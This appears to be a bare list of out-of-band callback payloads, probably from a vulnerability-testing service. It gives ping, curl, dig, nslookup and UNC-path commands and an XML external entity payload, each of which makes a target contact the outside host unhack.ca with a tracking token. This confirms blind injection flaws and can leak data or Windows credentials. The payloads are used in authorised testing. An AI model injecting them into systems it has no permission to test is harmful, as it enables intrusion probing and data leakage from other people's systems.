$ ping -c1 -p 002a68c646bb4974351581f0c9340c00 unhack.ca
 

$ curl http://unhack.ca/p/2a68c646bb4974351581f0c9340c
 

$ dig 2a68c646bb4974351581f0c9340c @unhack.ca
 

$ dig 2a68c646bb4974351581f0c9340c.ns.unhack.ca
 

C:\> nslookup 2a68c646bb4974351581f0c9340c unhack.ca
 

C:\> type \\unhack.ca\2a68c646bb4974351581f0c9340c\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2a68c646bb4974351581f0c9340c">]>
    <foo>&xxe;</foo>